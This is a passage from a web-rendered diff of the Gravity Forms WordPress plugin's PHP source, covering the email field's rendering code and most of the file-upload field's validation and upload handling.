$enter_email_field_input = GFFormsModel::get_input( $this, $this->id . '' );
|
||||
$confirm_field_input = GFFormsModel::get_input( $this, $this->id . '.2' );
|
||||
|
||||
$enter_email_label = rgar( $enter_email_field_input, 'customLabel' ) != '' ? $enter_email_field_input['customLabel'] : esc_html__( 'Enter Email', 'gravityforms' );
|
||||
$enter_email_label = gf_apply_filters( array( 'gform_email', $form_id ), $enter_email_label, $form_id );
|
||||
$confirm_email_label = rgar( $confirm_field_input, 'customLabel' ) != '' ? $confirm_field_input['customLabel'] : esc_html__( 'Confirm Email', 'gravityforms' );
|
||||
$confirm_email_label = gf_apply_filters( array( 'gform_email_confirm', $form_id ), $confirm_email_label, $form_id );
|
||||
|
||||
$single_placeholder_attribute = $this->get_field_placeholder_attribute();
|
||||
$enter_email_placeholder_attribute = $this->get_input_placeholder_attribute( $enter_email_field_input );
|
||||
$confirm_email_placeholder_attribute = $this->get_input_placeholder_attribute( $confirm_field_input );
|
||||
|
||||
if ( $is_form_editor ) {
|
||||
$single_style = $this->emailConfirmEnabled ? "style='display:none;'" : '';
|
||||
$confirm_style = $this->emailConfirmEnabled ? '' : "style='display:none;'";
|
||||
|
||||
if ( $is_sub_label_above ) {
|
||||
return "<div class='ginput_container ginput_container_email ginput_single_email' {$single_style}>
|
||||
<input name='input_{$id}' type='{$html_input_type}' class='" . esc_attr( $class ) . "' disabled='disabled' {$single_placeholder_attribute} {$required_attribute} {$invalid_attribute} />
|
||||
<div class='gf_clear gf_clear_complex'></div>
|
||||
</div>
|
||||
<div class='ginput_complex ginput_container ginput_container_email ginput_confirm_email' {$confirm_style} id='{$field_id}_container'>
|
||||
<span id='{$field_id}_1_container' class='ginput_left'>
|
||||
<label for='{$field_id}' {$sub_label_class_attribute}>{$enter_email_label}</label>
|
||||
<input class='{$class}' type='text' name='input_{$id}' id='{$field_id}' disabled='disabled' {$enter_email_placeholder_attribute} {$required_attribute} {$invalid_attribute} />
|
||||
</span>
|
||||
<span id='{$field_id}_2_container' class='ginput_right'>
|
||||
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$confirm_email_label}</label>
|
||||
<input class='{$class}' type='text' name='input_{$id}_2' id='{$field_id}_2' disabled='disabled' {$confirm_email_placeholder_attribute} {$required_attribute} {$invalid_attribute} />
|
||||
</span>
|
||||
<div class='gf_clear gf_clear_complex'></div>
|
||||
</div>";
|
||||
} else {
|
||||
return "<div class='ginput_container ginput_container_email ginput_single_email' {$single_style}>
|
||||
<input class='{$class}' name='input_{$id}' type='{$html_input_type}' class='" . esc_attr( $class ) . "' disabled='disabled' {$single_placeholder_attribute} {$required_attribute} {$invalid_attribute} />
|
||||
<div class='gf_clear gf_clear_complex'></div>
|
||||
</div>
|
||||
<div class='ginput_complex ginput_container ginput_container_email ginput_confirm_email' {$confirm_style} id='{$field_id}_container'>
|
||||
<span id='{$field_id}_1_container' class='ginput_left'>
|
||||
<input class='{$class}' type='text' name='input_{$id}' id='{$field_id}' disabled='disabled' {$enter_email_placeholder_attribute} {$required_attribute} {$invalid_attribute} />
|
||||
<label for='{$field_id}' {$sub_label_class_attribute}>{$enter_email_label}</label>
|
||||
</span>
|
||||
<span id='{$field_id}_2_container' class='ginput_right'>
|
||||
<input class='{$class}' type='text' name='input_{$id}_2' id='{$field_id}_2' disabled='disabled' {$confirm_email_placeholder_attribute} {$required_attribute} {$invalid_attribute} />
|
||||
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$confirm_email_label}</label>
|
||||
</span>
|
||||
<div class='gf_clear gf_clear_complex'></div>
|
||||
</div>";
|
||||
}
|
||||
} else {
|
||||
$logic_event = $this->get_conditional_logic_event( 'keyup' );
|
||||
|
||||
if ( $this->emailConfirmEnabled && ! $is_entry_detail ) {
|
||||
$first_tabindex = $this->get_tabindex();
|
||||
$last_tabindex = $this->get_tabindex();
|
||||
$email_value = is_array( $value ) ? rgar( $value, 0 ) : $value;
|
||||
$email_value = esc_attr( $email_value );
|
||||
$confirmation_value = is_array( $value ) ? rgar( $value, 1 ) : rgpost( 'input_' . $this->id . '_2' );
|
||||
$confirmation_value = esc_attr( $confirmation_value );
|
||||
$confirmation_disabled = $is_entry_detail ? "disabled='disabled'" : $disabled_text;
|
||||
if ( $is_sub_label_above ) {
|
||||
return "<div class='ginput_complex ginput_container ginput_container_email' id='{$field_id}_container'>
|
||||
<span id='{$field_id}_1_container' class='ginput_left'>
|
||||
<label for='{$field_id}'>" . $enter_email_label . "</label>
|
||||
<input class='{$class}' type='{$html_input_type}' name='input_{$id}' id='{$field_id}' value='{$email_value}' {$first_tabindex} {$logic_event} {$disabled_text} {$enter_email_placeholder_attribute} {$required_attribute} {$invalid_attribute}/>
|
||||
</span>
|
||||
<span id='{$field_id}_2_container' class='ginput_right'>
|
||||
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$confirm_email_label}</label>
|
||||
<input class='{$class}' type='{$html_input_type}' name='input_{$id}_2' id='{$field_id}_2' value='{$confirmation_value}' {$last_tabindex} {$confirmation_disabled} {$confirm_email_placeholder_attribute} {$required_attribute} {$invalid_attribute}/>
|
||||
</span>
|
||||
<div class='gf_clear gf_clear_complex'></div>
|
||||
</div>";
|
||||
} else {
|
||||
return "<div class='ginput_complex ginput_container ginput_container_email' id='{$field_id}_container'>
|
||||
<span id='{$field_id}_1_container' class='ginput_left'>
|
||||
<input class='{$class}' type='{$html_input_type}' name='input_{$id}' id='{$field_id}' value='{$email_value}' {$first_tabindex} {$logic_event} {$disabled_text} {$enter_email_placeholder_attribute} {$required_attribute} {$invalid_attribute}/>
|
||||
<label for='{$field_id}' {$sub_label_class_attribute}>{$enter_email_label}</label>
|
||||
</span>
|
||||
<span id='{$field_id}_2_container' class='ginput_right'>
|
||||
<input class='{$class}' type='{$html_input_type}' name='input_{$id}_2' id='{$field_id}_2' value='{$confirmation_value}' {$last_tabindex} {$confirmation_disabled} {$confirm_email_placeholder_attribute} {$required_attribute} {$invalid_attribute}/>
|
||||
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$confirm_email_label}</label>
|
||||
</span>
|
||||
<div class='gf_clear gf_clear_complex'></div>
|
||||
</div>";
|
||||
}
|
||||
} else {
|
||||
$tabindex = $this->get_tabindex();
|
||||
$value = esc_attr( $value );
|
||||
$class = esc_attr( $class );
|
||||
|
||||
return "<div class='ginput_container ginput_container_email'>
|
||||
<input name='input_{$id}' id='{$field_id}' type='{$html_input_type}' value='$value' class='{$class}' {$tabindex} {$logic_event} {$disabled_text} {$single_placeholder_attribute} {$required_attribute} {$invalid_attribute}/>
|
||||
</div>";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public function get_field_label_class(){
|
||||
return $this->emailConfirmEnabled ? 'gfield_label gfield_label_before_complex' : 'gfield_label';
|
||||
}
|
||||
|
||||
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
|
||||
|
||||
return GFCommon::is_valid_email( $value ) && $format == 'html' ? "<a href='mailto:$value'>$value</a>" : $value;
|
||||
}
|
||||
|
||||
public function get_value_submission( $field_values, $get_from_post_global_var = true ) {
|
||||
|
||||
if ( $this->emailConfirmEnabled && ! $this->is_entry_detail() && is_array( $this->inputs ) ) {
|
||||
$value[0] = $this->get_input_value_submission( 'input_' . $this->id, $this->inputName, $field_values, $get_from_post_global_var );
|
||||
$value[1] = $this->get_input_value_submission( 'input_' . $this->id . '_2', $this->inputName, $field_values, $get_from_post_global_var );
|
||||
} else {
|
||||
$value = $this->get_input_value_submission( 'input_' . $this->id, $this->inputName, $field_values, $get_from_post_global_var );
|
||||
}
|
||||
|
||||
return $value;
|
||||
}
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_Email() );
|
||||
691
includes/fields/class-gf-field-fileupload.php
Normal file
691
includes/fields/class-gf-field-fileupload.php
Normal file
@@ -0,0 +1,691 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
|
||||
class GF_Field_FileUpload extends GF_Field {
|
||||
|
||||
public $type = 'fileupload';
|
||||
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'File Upload', 'gravityforms' );
|
||||
}
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'conditional_logic_field_setting',
|
||||
'error_message_setting',
|
||||
'label_setting',
|
||||
'label_placement_setting',
|
||||
'admin_label_setting',
|
||||
'rules_setting',
|
||||
'file_extensions_setting',
|
||||
'file_size_setting',
|
||||
'multiple_files_setting',
|
||||
'visibility_setting',
|
||||
'description_setting',
|
||||
'css_class_setting',
|
||||
);
|
||||
}
|
||||
|
||||
public function validate( $value, $form ) {
|
||||
$input_name = 'input_' . $this->id;
|
||||
GFCommon::log_debug( __METHOD__ . '(): Validating field ' . $input_name );
|
||||
|
||||
$allowed_extensions = ! empty( $this->allowedExtensions ) ? GFCommon::clean_extensions( explode( ',', strtolower( $this->allowedExtensions ) ) ) : array();
|
||||
if ( $this->multipleFiles ) {
|
||||
$file_names = isset( GFFormsModel::$uploaded_files[ $form['id'] ][ $input_name ] ) ? GFFormsModel::$uploaded_files[ $form['id'] ][ $input_name ] : array();
|
||||
} else {
|
||||
$max_upload_size_in_bytes = isset( $this->maxFileSize ) && $this->maxFileSize > 0 ? $this->maxFileSize * 1048576 : wp_max_upload_size();
|
||||
$max_upload_size_in_mb = $max_upload_size_in_bytes / 1048576;
|
||||
if ( ! empty( $_FILES[ $input_name ]['name'] ) && $_FILES[ $input_name ]['error'] > 0 ) {
|
||||
$uploaded_file_name = isset( GFFormsModel::$uploaded_files[ $form['id'] ][ $input_name ] ) ? GFFormsModel::$uploaded_files[ $form['id'] ][ $input_name ] : '';
|
||||
if ( empty( $uploaded_file_name ) ) {
|
||||
$this->failed_validation = true;
|
||||
switch ( $_FILES[ $input_name ]['error'] ) {
|
||||
case UPLOAD_ERR_INI_SIZE :
|
||||
case UPLOAD_ERR_FORM_SIZE :
|
||||
GFCommon::log_debug( __METHOD__ . '(): File ' . $_FILES[ $input_name ]['name'] . ' exceeds size limit. Maximum file size: ' . $max_upload_size_in_mb . 'MB' );
|
||||
$fileupload_validation_message = sprintf( esc_html__( 'File exceeds size limit. Maximum file size: %dMB', 'gravityforms' ), $max_upload_size_in_mb );
|
||||
break;
|
||||
default :
|
||||
GFCommon::log_debug( __METHOD__ . '(): The following error occurred while uploading - ' . $_FILES[ $input_name ]['error'] );
|
||||
$fileupload_validation_message = sprintf( esc_html__( 'There was an error while uploading the file. Error code: %d', 'gravityforms' ), $_FILES[ $input_name ]['error'] );
|
||||
}
|
||||
$this->validation_message = empty( $this->errorMessage ) ? $fileupload_validation_message : $this->errorMessage;
|
||||
return;
|
||||
}
|
||||
} elseif ( $_FILES[ $input_name ]['size'] > 0 && $_FILES[ $input_name ]['size'] > $max_upload_size_in_bytes ) {
|
||||
$this->failed_validation = true;
|
||||
GFCommon::log_debug( __METHOD__ . '(): File ' . $_FILES[ $input_name ]['name'] . ' exceeds size limit. Maximum file size: ' . $max_upload_size_in_mb . 'MB' );
|
||||
$this->validation_message = sprintf( esc_html__( 'File exceeds size limit. Maximum file size: %dMB', 'gravityforms' ), $max_upload_size_in_mb );
|
||||
return;
|
||||
}
|
||||
|
||||
/**
|
||||
* A filter to allow or disallow whitelisting when uploading a file
|
||||
*
|
||||
* @param bool false To set upload whitelisting to true or false (default is false, which means it is enabled)
|
||||
*/
|
||||
$whitelisting_disabled = apply_filters( 'gform_file_upload_whitelisting_disabled', false );
|
||||
|
||||
if ( ! empty( $_FILES[ $input_name ]['name'] ) && ! $whitelisting_disabled ) {
|
||||
$check_result = GFCommon::check_type_and_ext( $_FILES[ $input_name ] );
|
||||
if ( is_wp_error( $check_result ) ) {
|
||||
$this->failed_validation = true;
|
||||
GFCommon::log_debug( __METHOD__ . '(): The uploaded file type is not allowed.' );
|
||||
$this->validation_message = esc_html__( 'The uploaded file type is not allowed.', 'gravityforms' );
|
||||
return;
|
||||
}
|
||||
}
|
||||
$single_file_name = $_FILES[ $input_name ]['name'];
|
||||
$file_names = array( array( 'uploaded_filename' => $single_file_name ) );
|
||||
}
|
||||
|
||||
foreach ( $file_names as $file_name ) {
|
||||
GFCommon::log_debug( __METHOD__ . '(): Validating file upload for ' . $file_name['uploaded_filename'] );
|
||||
$info = pathinfo( rgar( $file_name, 'uploaded_filename' ) );
|
||||
|
||||
if ( empty( $allowed_extensions ) ) {
|
||||
if ( GFCommon::file_name_has_disallowed_extension( rgar( $file_name, 'uploaded_filename' ) ) ) {
|
||||
GFCommon::log_debug( __METHOD__ . '(): The file has a disallowed extension, failing validation.' );
|
||||
$this->failed_validation = true;
|
||||
$this->validation_message = empty( $this->errorMessage ) ? esc_html__( 'The uploaded file type is not allowed.', 'gravityforms' ) : $this->errorMessage;
|
||||
}
|
||||
} else {
|
||||
if ( ! empty( $info['basename'] ) && ! GFCommon::match_file_extension( rgar( $file_name, 'uploaded_filename' ), $allowed_extensions ) ) {
|
||||
GFCommon::log_debug( __METHOD__ . '(): The file is of a type that cannot be uploaded, failing validation.' );
|
||||
$this->failed_validation = true;
|
||||
$this->validation_message = empty( $this->errorMessage ) ? sprintf( esc_html__( 'The uploaded file type is not allowed. Must be one of the following: %s', 'gravityforms' ), strtolower( $this->allowedExtensions ) ) : $this->errorMessage;
|
||||
}
|
||||
}
|
||||
}
|
||||
GFCommon::log_debug( __METHOD__ . '(): Validation complete.' );
|
||||
}
|
||||
|
||||
public function get_first_input_id( $form ) {
|
||||
|
||||
return $this->multipleFiles ? '' : 'input_' . $form['id'] . '_' . $this->id;
|
||||
}
|
||||
|
||||
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
|
||||
$lead_id = absint( rgar( $entry, 'id' ) );
|
||||
|
||||
$form_id = absint( $form['id'] );
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
|
||||
$id = absint( $this->id );
|
||||
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
|
||||
|
||||
$size = $this->size;
|
||||
$class_suffix = $is_entry_detail ? '_admin' : '';
|
||||
$class = $size . $class_suffix;
|
||||
|
||||
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
$multiple_files = $this->multipleFiles;
|
||||
$file_list_id = 'gform_preview_' . $form_id . '_' . $id;
|
||||
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
$is_admin = $is_entry_detail || $is_form_editor;
|
||||
|
||||
$max_upload_size = ! $is_admin && $this->maxFileSize > 0 ? $this->maxFileSize * 1048576 : wp_max_upload_size();
|
||||
$allowed_extensions = ! empty( $this->allowedExtensions ) ? join( ',', GFCommon::clean_extensions( explode( ',', strtolower( $this->allowedExtensions ) ) ) ) : array();
|
||||
if ( ! empty( $allowed_extensions ) ) {
|
||||
$extensions_message = esc_attr( sprintf( __( 'Accepted file types: %s.', 'gravityforms' ), str_replace( ',', ', ', $allowed_extensions ) ) );
|
||||
} else {
|
||||
$extensions_message = '';
|
||||
}
|
||||
|
||||
$extensions_message_id = 'extensions_message_' . $form_id . '_' . $id;
|
||||
|
||||
if ( $multiple_files ) {
|
||||
$upload_action_url = trailingslashit( site_url() ) . '?gf_page=' . GFCommon::get_upload_page_slug();
|
||||
$max_files = $this->maxFiles > 0 ? $this->maxFiles : 0;
|
||||
$browse_button_id = 'gform_browse_button_' . $form_id . '_' . $id;
|
||||
$container_id = 'gform_multifile_upload_' . $form_id . '_' . $id;
|
||||
$drag_drop_id = 'gform_drag_drop_area_' . $form_id . '_' . $id;
|
||||
|
||||
$messages_id = "gform_multifile_messages_{$form_id}_{$id}";
|
||||
if ( empty( $allowed_extensions ) ) {
|
||||
$allowed_extensions = '*';
|
||||
}
|
||||
$disallowed_extensions = GFCommon::get_disallowed_file_extensions();
|
||||
if ( defined( 'DOING_AJAX' ) && DOING_AJAX && 'rg_change_input_type' === rgpost( 'action' ) ) {
|
||||
$plupload_init = array();
|
||||
} else {
|
||||
$plupload_init = array(
|
||||
'runtimes' => 'html5,flash,html4',
|
||||
'browse_button' => $browse_button_id,
|
||||
'container' => $container_id,
|
||||
'drop_element' => $drag_drop_id,
|
||||
'filelist' => $file_list_id,
|
||||
'unique_names' => true,
|
||||
'file_data_name' => 'file',
|
||||
/*'chunk_size' => '10mb',*/ // chunking doesn't currently have very good cross-browser support
|
||||
'url' => $upload_action_url,
|
||||
'flash_swf_url' => includes_url( 'js/plupload/plupload.flash.swf' ),
|
||||
'silverlight_xap_url' => includes_url( 'js/plupload/plupload.silverlight.xap' ),
|
||||
'filters' => array(
|
||||
'mime_types' => array( array( 'title' => __( 'Allowed Files', 'gravityforms' ), 'extensions' => $allowed_extensions ) ),
|
||||
'max_file_size' => $max_upload_size . 'b',
|
||||
),
|
||||
'multipart' => true,
|
||||
'urlstream_upload' => false,
|
||||
'multipart_params' => array(
|
||||
'form_id' => $form_id,
|
||||
'field_id' => $id,
|
||||
),
|
||||
'gf_vars' => array(
|
||||
'max_files' => $max_files,
|
||||
'message_id' => $messages_id,
|
||||
'disallowed_extensions' => $disallowed_extensions,
|
||||
)
|
||||
);
|
||||
|
||||
if ( rgar( $form, 'requireLogin' ) ) {
|
||||
$plupload_init['multipart_params'][ '_gform_file_upload_nonce_' . $form_id ] = wp_create_nonce( 'gform_file_upload_' . $form_id, '_gform_file_upload_nonce_' . $form_id );
|
||||
}
|
||||
|
||||
// plupload 2 was introduced in WordPress 3.9. Plupload 1 accepts a slightly different init array.
|
||||
if ( version_compare( get_bloginfo( 'version' ), '3.9-RC1', '<' ) ) {
|
||||
$plupload_init['max_file_size'] = $max_upload_size . 'b';
|
||||
$plupload_init['filters'] = array( array( 'title' => __( 'Allowed Files', 'gravityforms' ), 'extensions' => $allowed_extensions ) );
|
||||
}
|
||||
}
|
||||
|
||||
$plupload_init = gf_apply_filters( array( 'gform_plupload_settings', $form_id ), $plupload_init, $form_id, $this );
|
||||
|
||||
$drop_files_here_text = esc_html__( 'Drop files here or', 'gravityforms' );
|
||||
$select_files_text = esc_attr__( 'Select files', 'gravityforms' );
|
||||
|
||||
$plupload_init_json = htmlspecialchars( json_encode( $plupload_init ), ENT_QUOTES, 'UTF-8' );
|
||||
$upload = "<div id='{$container_id}' data-settings='{$plupload_init_json}' class='gform_fileupload_multifile'>
|
||||
<div id='{$drag_drop_id}' class='gform_drop_area'>
|
||||
<span class='gform_drop_instructions'>{$drop_files_here_text} </span>
|
||||
<input id='{$browse_button_id}' type='button' value='{$select_files_text}' class='button gform_button_select_files' aria-describedby='{$extensions_message_id}' {$tabindex} />
|
||||
</div>
|
||||
</div>";
|
||||
if ( ! $is_admin ) {
|
||||
$upload .= "<span id='{$extensions_message_id}' class='screen-reader-text'>{$extensions_message}</span>";
|
||||
$upload .= "<div class='validation_message'>
|
||||
<ul id='{$messages_id}'>
|
||||
</ul>
|
||||
</div>";
|
||||
}
|
||||
|
||||
if ( $is_entry_detail ) {
|
||||
$upload .= sprintf( '<input type="hidden" name="input_%d" value=\'%s\' />', $id, esc_attr( $value ) );
|
||||
}
|
||||
} else {
|
||||
$upload = '';
|
||||
if ( $max_upload_size <= 2047 * 1048576 ) {
|
||||
// MAX_FILE_SIZE > 2048MB fails. The file size is checked anyway once uploaded, so it's not necessary.
|
||||
$upload = sprintf( "<input type='hidden' name='MAX_FILE_SIZE' value='%d' />", $max_upload_size );
|
||||
}
|
||||
$upload .= sprintf( "<input name='input_%d' id='%s' type='file' class='%s' aria-describedby='%s' onchange='javascript:gformValidateFileSize( this, %s );' {$tabindex} %s/>", $id, $field_id, esc_attr( $class ), $extensions_message_id, esc_attr( $max_upload_size ), $disabled_text );
|
||||
|
||||
if ( ! $is_admin ) {
|
||||
$upload .= "<span id='{$extensions_message_id}' class='screen-reader-text'>{$extensions_message}</span>";
|
||||
$upload .= "<div class='validation_message'></div>";
|
||||
}
|
||||
}
|
||||
|
||||
if ( $is_entry_detail && ! empty( $value ) ) { // edit entry
|
||||
$file_urls = $multiple_files ? json_decode( $value ) : array( $value );
|
||||
$upload_display = $multiple_files ? '' : "style='display:none'";
|
||||
$preview = "<div id='upload_$id' {$upload_display}>$upload</div>";
|
||||
$preview .= sprintf( "<div id='%s'></div>", $file_list_id );
|
||||
$preview .= sprintf( "<div id='preview_existing_files_%d'>", $id );
|
||||
|
||||
foreach ( $file_urls as $file_index => $file_url ) {
|
||||
|
||||
/**
|
||||
* Allow for override of SSL replacement.
|
||||
*
|
||||
* By default Gravity Forms will attempt to determine if the schema of the URL should be overwritten for SSL.
|
||||
* This is not ideal for all situations, particularly domain mapping. Setting $field_ssl to false will prevent
|
||||
* the override.
|
||||
*
|
||||
* @since 2.1.1.23
|
||||
*
|
||||
* @param bool $field_ssl True to allow override if needed or false if not.
|
||||
* @param string $file_url The file URL in question.
|
||||
* @param GF_Field_FileUpload $field The field object for further context.
|
||||
*/
|
||||
$field_ssl = apply_filters( 'gform_secure_file_download_is_https', true, $file_url, $this );
|
||||
|
||||
if ( GFCommon::is_ssl() && strpos( $file_url, 'http:' ) !== false && $field_ssl === true ) {
|
||||
$file_url = str_replace( 'http:', 'https:', $file_url );
|
||||
}
|
||||
$download_file_text = esc_attr__( 'Download file', 'gravityforms' );
|
||||
$delete_file_text = esc_attr__( 'Delete file', 'gravityforms' );
|
||||
$file_index = intval( $file_index );
|
||||
$file_url = esc_attr( $file_url );
|
||||
$display_file_url = GFCommon::truncate_url( $file_url );
|
||||
$file_url = $this->get_download_url( $file_url );
|
||||
$download_button_url = GFCommon::get_base_url() . '/images/download.png';
|
||||
$delete_button_url = GFCommon::get_base_url() . '/images/delete.png';
|
||||
$preview .= "<div id='preview_file_{$file_index}' class='ginput_preview'>
|
||||
<a href='{$file_url}' target='_blank' alt='{$file_url}' title='{$file_url}'>{$display_file_url}</a>
|
||||
<a href='{$file_url}' target='_blank' alt='{$download_file_text}' title='{$download_file_text}'>
|
||||
<img src='{$download_button_url}' style='margin-left:10px;'/></a><a href='javascript:void(0);' alt='{$delete_file_text}' title='{$delete_file_text}' onclick='DeleteFile({$lead_id},{$id},this);' onkeypress='DeleteFile({$lead_id},{$id},this);' ><img src='{$delete_button_url}' style='margin-left:10px;'/></a>
|
||||
</div>";
|
||||
}
|
||||
|
||||
$preview .= '</div>';
|
||||
|
||||
return $preview;
|
||||
} else {
|
||||
$input_name = "input_{$id}";
|
||||
$uploaded_files = isset( GFFormsModel::$uploaded_files[ $form_id ][ $input_name ] ) ? GFFormsModel::$uploaded_files[ $form_id ][ $input_name ] : array();
|
||||
$file_infos = $multiple_files ? $uploaded_files : RGFormsModel::get_temp_filename( $form_id, $input_name );
|
||||
|
||||
if ( ! empty( $file_infos ) ) {
|
||||
$preview = sprintf( "<div id='%s'>", $file_list_id );
|
||||
$file_infos = $multiple_files ? $uploaded_files : array( $file_infos );
|
||||
foreach ( $file_infos as $file_info ) {
|
||||
$file_upload_markup = apply_filters( 'gform_file_upload_markup', "<img alt='" . esc_attr__( 'Delete file', 'gravityforms' ) . "' title='" . esc_attr__( 'Delete file', 'gravityforms' ) . "' class='gform_delete' src='" . GFCommon::get_base_url() . "/images/delete.png' onclick='gformDeleteUploadedFile({$form_id}, {$id}, this);' onkeypress='gformDeleteUploadedFile({$form_id}, {$id}, this);' /> <strong>" . esc_html( $file_info['uploaded_filename'] ) . '</strong>', $file_info, $form_id, $id );
|
||||
$preview .= "<div class='ginput_preview'>{$file_upload_markup}</div>";
|
||||
}
|
||||
$preview .= '</div>';
|
||||
if ( ! $multiple_files ) {
|
||||
$upload = str_replace( " class='", " class='gform_hidden ", $upload );
|
||||
}
|
||||
|
||||
return "<div class='ginput_container ginput_container_fileupload'>" . $upload . " {$preview}</div>";
|
||||
} else {
|
||||
|
||||
$preview = $multiple_files ? sprintf( "<div id='%s'></div>", $file_list_id ) : '';
|
||||
|
||||
return "<div class='ginput_container ginput_container_fileupload'>$upload</div>" . $preview;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public function is_value_submission_empty( $form_id ) {
|
||||
$input_name = 'input_' . $this->id;
|
||||
|
||||
if ( $this->multipleFiles ) {
|
||||
$uploaded_files = GFFormsModel::$uploaded_files[ $form_id ];
|
||||
$file_info = rgar( $uploaded_files, $input_name );
|
||||
|
||||
return empty( $file_info );
|
||||
} else {
|
||||
$file_info = GFFormsModel::get_temp_filename( $form_id, $input_name );
|
||||
|
||||
return ! $file_info && empty( $_FILES[ $input_name ]['name'] );
|
||||
}
|
||||
}
|
||||
|
||||
public function get_value_save_entry( $value, $form, $input_name, $lead_id, $lead ) {
|
||||
if ( ! $this->multipleFiles ) {
|
||||
return $this->get_single_file_value( $form['id'], $input_name );
|
||||
}
|
||||
|
||||
if ( $this->is_entry_detail() && empty( $lead ) ) {
|
||||
// Deleted files remain in the $value from $_POST so use the updated entry value.
|
||||
$lead = GFFormsModel::get_lead( $lead_id );
|
||||
$value = rgar( $lead, strval( $this->id ) );
|
||||
}
|
||||
|
||||
return $this->get_multifile_value( $form['id'], $input_name, $value );
|
||||
}
|
||||
|
||||
public function get_multifile_value( $form_id, $input_name, $value ) {
|
||||
global $_gf_uploaded_files;
|
||||
|
||||
GFCommon::log_debug( __METHOD__ . '(): Starting.' );
|
||||
|
||||
if ( isset( $_gf_uploaded_files[ $input_name ] ) ) {
|
||||
$value = $_gf_uploaded_files[ $input_name ];
|
||||
} else {
|
||||
if ( isset( GFFormsModel::$uploaded_files[ $form_id ][ $input_name ] ) ) {
|
||||
$uploaded_temp_files = GFFormsModel::$uploaded_files[ $form_id ][ $input_name ];
|
||||
$uploaded_files = array();
|
||||
foreach ( $uploaded_temp_files as $i => $file_info ) {
|
||||
$temp_filepath = GFFormsModel::get_upload_path( $form_id ) . '/tmp/' . $file_info['temp_filename'];
|
||||
if ( $file_info && file_exists( $temp_filepath ) ) {
|
||||
$uploaded_files[ $i ] = $this->move_temp_file( $form_id, $file_info );
|
||||
}
|
||||
}
|
||||
|
||||
if ( ! empty( $value ) ) { // merge with existing files (admin edit entry)
|
||||
$value = json_decode( $value, true );
|
||||
$value = array_merge( $value, $uploaded_files );
|
||||
$value = json_encode( $value );
|
||||
} else {
|
||||
$value = json_encode( $uploaded_files );
|
||||
}
|
||||
} else {
|
||||
GFCommon::log_debug( __METHOD__ . '(): No files uploaded. Exiting.' );
|
||||
|
||||
$value = '';
|
||||
}
|
||||
$_gf_uploaded_files[ $input_name ] = $value;
|
||||
}
|
||||
|
||||
$value_safe = $this->sanitize_entry_value( $value, $form_id );
|
||||
|
||||
return $value_safe;
|
||||
}
|
||||
|
||||
public function get_single_file_value( $form_id, $input_name ) {
|
||||
global $_gf_uploaded_files;
|
||||
|
||||
GFCommon::log_debug( __METHOD__ . '(): Starting.' );
|
||||
|
||||
if ( empty( $_gf_uploaded_files ) ) {
|
||||
$_gf_uploaded_files = array();
|
||||
}
|
||||
|
||||
if ( ! isset( $_gf_uploaded_files[ $input_name ] ) ) {
|
||||
|
||||
//check if file has already been uploaded by previous step
|
||||
$file_info = GFFormsModel::get_temp_filename( $form_id, $input_name );
|
||||
$temp_filepath = GFFormsModel::get_upload_path( $form_id ) . '/tmp/' . $file_info['temp_filename'];
|
||||
|
||||
if ( $file_info && file_exists( $temp_filepath ) ) {
|
||||
GFCommon::log_debug( __METHOD__ . '(): File already uploaded to tmp folder, moving.' );
|
||||
$_gf_uploaded_files[ $input_name ] = $this->move_temp_file( $form_id, $file_info );
|
||||
} else if ( ! empty( $_FILES[ $input_name ]['name'] ) ) {
|
||||
GFCommon::log_debug( __METHOD__ . '(): calling upload_file' );
|
||||
$_gf_uploaded_files[ $input_name ] = $this->upload_file( $form_id, $_FILES[ $input_name ] );
|
||||
} else {
|
||||
GFCommon::log_debug( __METHOD__ . '(): No file uploaded. Exiting.' );
|
||||
}
|
||||
}
|
||||
|
||||
return rgget( $input_name, $_gf_uploaded_files );
|
||||
}
|
||||
|
||||
public function upload_file( $form_id, $file ) {
|
||||
GFCommon::log_debug( __METHOD__ . '(): Uploading file: ' . $file['name'] );
|
||||
|
||||
$target = GFFormsModel::get_file_upload_path( $form_id, $file['name'] );
|
||||
if ( ! $target ) {
|
||||
GFCommon::log_debug( __METHOD__ . '(): FAILED (Upload folder could not be created.)' );
|
||||
|
||||
return 'FAILED (Upload folder could not be created.)';
|
||||
}
|
||||
GFCommon::log_debug( __METHOD__ . '(): Upload folder is ' . print_r( $target, true ) );
|
||||
|
||||
if ( move_uploaded_file( $file['tmp_name'], $target['path'] ) ) {
|
||||
GFCommon::log_debug( __METHOD__ . '(): File ' . $file['tmp_name'] . ' successfully moved to ' . $target['path'] . '.' );
|
||||
$this->set_permissions( $target['path'] );
|
||||
|
||||
return $target['url'];
|
||||
} else {
|
||||
GFCommon::log_debug( __METHOD__ . '(): FAILED (Temporary file ' . $file['tmp_name'] . ' could not be copied to ' . $target['path'] . '.)' );
|
||||
|
||||
return 'FAILED (Temporary file could not be copied.)';
|
||||
}
|
||||
}
|
||||
|
||||
public function get_value_entry_list( $value, $entry, $field_id, $columns, $form ) {
|
||||
if ( $this->multipleFiles ) {
|
||||
$uploaded_files_arr = empty( $value ) ? array() : json_decode( $value, true );
|
||||
$file_count = count( $uploaded_files_arr );
|
||||
if ( $file_count > 1 ) {
|
||||
$value = empty( $uploaded_files_arr ) ? '' : sprintf( esc_html__( '%d files', 'gravityforms' ), count( $uploaded_files_arr ) );
|
||||
return $value;
|
||||
} elseif ( $file_count == 1 ) {
|
||||
$value = current( $uploaded_files_arr );
|
